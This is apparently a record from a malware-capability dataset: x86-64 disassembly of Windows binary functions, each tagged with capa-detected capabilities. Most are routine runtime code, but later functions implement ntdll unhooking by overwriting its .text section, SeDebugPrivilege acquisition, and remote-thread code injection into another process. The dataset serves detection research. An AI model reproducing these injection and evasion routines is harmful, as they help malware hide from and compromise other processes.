joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4c676c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c67ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c67e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c67e1
mov rax, qword [rbp - 8]
jmp 0x2fc4c67ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c67b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cf1c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4cfbc2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f2108]
test eax, eax
je 0x2fc4cfc5a
lea rax, [0x2fc4f20e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f2110]
mov qword [rbp - 8], rax
jmp 0x2fc4cfc3e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cfc32
cmp qword [rbp - 0x10], 0
je 0x2fc4cfc32
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cfbf8
lea rax, [0x2fc4f20e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cfc5b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cfd60
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cfd88
mov eax, 0
jmp 0x2fc4cfdd6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cfdb1
mov eax, 0
jmp 0x2fc4cfdd6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cfdd1
mov eax, 0
jmp 0x2fc4cfdd6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cfddc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cfe5a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cfe51
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cfe51
mov rax, qword [rbp - 8]
jmp 0x2fc4cfe6f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cfe24
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4da1c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4dabc2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fd108]
test eax, eax
je 0x2fc4dac5a
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fd110]
mov qword [rbp - 8], rax
jmp 0x2fc4dac3e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dac32
cmp qword [rbp - 0x10], 0
je 0x2fc4dac32
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dabf8
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dac5b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dad60
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dad88
mov eax, 0
jmp 0x2fc4dadd6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dadb1
mov eax, 0
jmp 0x2fc4dadd6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dadd1
mov eax, 0
jmp 0x2fc4dadd6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4daddc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dae5a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dae51
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dae51
mov rax, qword [rbp - 8]
jmp 0x2fc4dae6f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dae24
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
mov r15, rax
xor eax, eax
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x40], rax
mov rcx, r15
mov r12, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x50]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r13, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea edx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
mov r14, rax
cmp bx, word [rsi + 6]
jae 0x140001198
lea r8, str..text
xor r12d, r12d
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r12
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001186
cmp rax, 6
jne 0x140001120
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
lea r8d, [rax - 2]
add rcx, rbp
mov dword [rsp + 0x68], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + rbp]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001100
mov r12, qword [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001200
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140006520
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0xe0
mov qword [rsp + 0xc8], 0xfffffffffffffffe
mov rax, qword [0x140031120]
xor rax, rsp
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xf0]
cmp qword [rax + 0x70], 0
je 0x14000656a
mov rax, qword [rsp + 0xf0]
movzx eax, byte [rax + 0x79]
test eax, eax
jne 0x140006576
mov al, 1
jmp 0x1400067a2
mov dword [rsp + 0x30], 8
call fcn.14000ded0
mov edx, eax
mov rax, qword [rsp + 0xf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf0]
call qword [rax + 8]
mov dword [rsp + 0x78], eax
call fcn.14000ded0
mov dword [rsp + 0x7c], eax
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x7c]
call fcn.14000dd70
movzx eax, al
test eax, eax
je 0x1400065c5
xor al, al
jmp 0x1400067a2
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x48]
call fcn.140005400
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x48]
call fcn.140001030
mov rcx, rax
call fcn.140006210
mov rbx, rax
lea rcx, [rsp + 0x48]
call fcn.1400033a0
add rbx, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x48]
call fcn.140001030
mov rcx, rax
call fcn.140006210
mov r8, rax
mov rdx, qword [rsp + 0xf0]
add rdx, 0x7c
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov rcx, qword [rsp + 0xf0]
mov rcx, qword [rcx + 0x70]
call fcn.140008a20
mov dword [rsp + 0xd0], eax
cmp dword [rsp + 0xd0], 0
je 0x140006677
cmp dword [rsp + 0xd0], 1
je 0x140006683
cmp dword [rsp + 0xd0], 3
je 0x14000675c
jmp 0x140006777
mov rax, qword [rsp + 0xf0]
mov byte [rax + 0x79], 0
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x48]
call fcn.140001030
mov rcx, rax
call fcn.140006210
mov r11, rax
mov rax, qword [rsp + 0x38]
sub rax, r11
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jbe 0x140006715
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x48]
call fcn.140001030
mov rcx, rax
call fcn.140006210
mov r9, qword [rsp + 0xf0]
mov r9, qword [r9 + 0x88]
mov r8, qword [rsp + 0x70]
mov edx, 1
mov rcx, rax
call fcn.140011ac0
cmp qword [rsp + 0x70], rax
je 0x140006715
mov byte [rsp + 0xc0], 0
lea rcx, [rsp + 0x48]
call fcn.140002830
mov al, byte [rsp + 0xc0]
jmp 0x1400067a2
mov rax, qword [rsp + 0xf0]
movzx eax, byte [rax + 0x79]
test eax, eax
jne 0x140006740
mov byte [rsp + 0xc1], 1
lea rcx, [rsp + 0x48]
call fcn.140002830
mov al, byte [rsp + 0xc1]
jmp 0x1400067a2
cmp qword [rsp + 0x70], 0
jne 0x14000675a
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x48]
call fcn.140001860
jmp 0x140006792
mov byte [rsp + 0xc2], 1
lea rcx, [rsp + 0x48]
call fcn.140002830
mov al, byte [rsp + 0xc2]
jmp 0x1400067a2
mov byte [rsp + 0xc3], 0
lea rcx, [rsp + 0x48]
call fcn.140002830
mov al, byte [rsp + 0xc3]
jmp 0x1400067a2
jmp 0x1400065d8
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.14000f980
add rsp, 0xe0
pop rbx
ret
Function at 0x14000e5b0
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x290
mov rax, qword [0x140031120]
xor rax, rsp
mov qword [rsp + 0x280], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
or rcx, 0xffffffffffffffff
xor ebx, ebx
mov rdx, rax
xor eax, eax
mov qword [rsp + 0x40], 0xf
mov rdi, rdx
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x28], bl
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x20]
call fcn.140003200
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140026150
cmp qword [rsp + 0x40], 0x10
jb 0x14000e626
mov rcx, qword [rsp + 0x28]
call fcn.14000f048
cmp qword [0x140031028], 0x10
lea rdx, [0x140031010]
lea rcx, [rsp + 0x20]
cmovae rdx, qword [0x140031010]
call fcn.140024b60
cmp qword [rax + 0x20], 8
jb 0x14000e654
mov rdx, qword [rax + 8]
jmp 0x14000e658
lea rdx, [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14000ea00
cmp qword [rsp + 0x40], 8
jb 0x14000e674
mov rcx, qword [rsp + 0x28]
call fcn.14000f048
cmp qword [0x140031078], 0x10
lea rdx, [0x140031060]
lea rcx, [rsp + 0x48]
cmovae rdx, qword [0x140031060]
call fcn.140024b60
cmp qword [rax + 0x20], 8
jb 0x14000e6a2
mov rdi, qword [rax + 8]
jmp 0x14000e6a6
lea rdi, [rax + 8]
cmp qword [0x140031050], 0x10
lea rdx, [0x140031038]
lea rcx, [rsp + 0x20]
cmovae rdx, qword [0x140031038]
call fcn.140024b60
cmp qword [rax + 0x20], 8
jb 0x14000e6d4
mov rdx, qword [rax + 8]
jmp 0x14000e6d8
lea rdx, [rax + 8]
lea rcx, [rsp + 0x70]
mov r8, rdi
call fcn.14000ea60
cmp qword [rsp + 0x40], 8
jb 0x14000e6f7
mov rcx, qword [rsp + 0x28]
call fcn.14000f048
cmp qword [rsp + 0x68], 8
mov qword [rsp + 0x40], 7
mov qword [rsp + 0x38], rbx
mov word [rsp + 0x28], bx
jb 0x14000e71c
mov rcx, qword [rsp + 0x50]
call fcn.14000f048
lea rcx, [rsp + 0x70]
call fcn.14000e750
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.14000f980
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x290
pop rdi
ret

Function at 0x14000e760
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
lea edx, [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000e7dd
lea r8, [rsp + 0x34]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x30], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x50]
test eax, eax
sete bl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x40
pop rbx
ret
Function at 0x14000e7f0
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x690
mov rax, qword [0x140031120]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov rbx, rdx
test rdx, rdx
jne 0x14000e81a
xor eax, eax
jmp 0x14000e944
mov qword [rsp + 0x6a0], rsi
lea rcx, [rsp + 0x472]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov qword [rsp + 0x6b0], rdi
mov word [rsp + 0x470], si
call fcn.14000fb20
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], si
call fcn.14000fb20
lea rcx, [rsp + 0x470]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rsp + 0x470]
call fcn.140010204
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
mov dword [rsp + 0x20], esi
mov rdi, rax
call fcn.14000fb20
lea ecx, [rsi + 2]
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000e932
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000e929
nop dword [rax]
mov rcx, rsi
movzx eax, word [rsp + rcx + 0x4c]
add rcx, 2
mov word [rsp + rcx + 0x25e], ax
test ax, ax
jne 0x14000e8d3
lea rcx, [rsp + 0x260]
call fcn.140010204
mov r8, rdi
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000e914
add rax, 2
test ecx, ecx
jne 0x14000e900
test edx, edx
je 0x14000e95d
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000e8d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x6a0]
mov rdi, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.14000f980
add rsp, 0x690
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x14000e934
Function at 0x14000ea60
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x840
mov rax, qword [0x140031120]
xor rax, rsp
mov qword [rsp + 0x830], rax
mov rbp, rdx
lea rdx, [rcx + 8]
mov r12, r8
mov rbx, rcx
call fcn.14000e7f0
test eax, eax
je 0x14000eaae
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14000eae3
call fcn.14000e760
lea rdx, [rbx + 8]
mov rcx, rbx
call fcn.14000e7f0
test eax, eax
je 0x14000ec57
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000ec57
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x7e0
mov rcx, rdi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x14000ec57
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x7d0
call fcn.14000fb20
lea rdx, str.__s___s
lea rcx, [rsp + 0x60]
mov r9, r12
mov r8, rbp
call fcn.14000fe30
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.CreateProcessW
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140028490]
mov rcx, rbx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x40]
mov r9d, 0x7e0
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x40], 0x7e0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000ec57
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x5000
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x14000ec57
lea r8, [0x14000e970]
mov r9d, 0x5000
mov rdx, rax
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000ec57
lea rax, [rsp + 0x48]
mov r9, rbx
xor r8d, r8d
mov qword [rsp + 0x30], rax
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, rax
test rax, rax
jne 0x14000ec77
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.14000f980
add rsp, 0x840
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
or edx, 0xffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x14000ec59
Function at 0x14001178c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.1400189e0
nop
cmp dword [0x140032fb8], 1
je 0x140011738
mov dword [0x140032fb4], 1
mov byte [0x140032fb0], r12b
test ebx, ebx
jne 0x140011724
mov rcx, qword [0x140035470]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140011711
mov rcx, qword [0x140035468]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x1400116b0
call fcn.140012514
cmp qword [rdi], rax
jne 0x1400116b0
jmp 0x140011696
cmp rdi, rsi
jb 0x140011711
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140012514
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140035470]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140035468]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x1400116ef
cmp r13, rax
je 0x14001170f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140011696
lea rdx, [0x1400283d8]
lea rcx, [0x1400283c0]
call fcn.1400114e0
lea rdx, [0x1400283e8]
lea rcx, [0x1400283e0]
call fcn.1400114e0
nop
test r12d, r12d
je 0x140011747
mov ecx, 8
call fcn.1400188e0
test r12d, r12d
jne 0x140011772
mov dword [0x140032fb8], 1
lea ecx, [r12 + 8]
call fcn.1400188e0
mov ecx, r15d
call fcn.140011474
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140011600

Function at 0x140011798
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140011600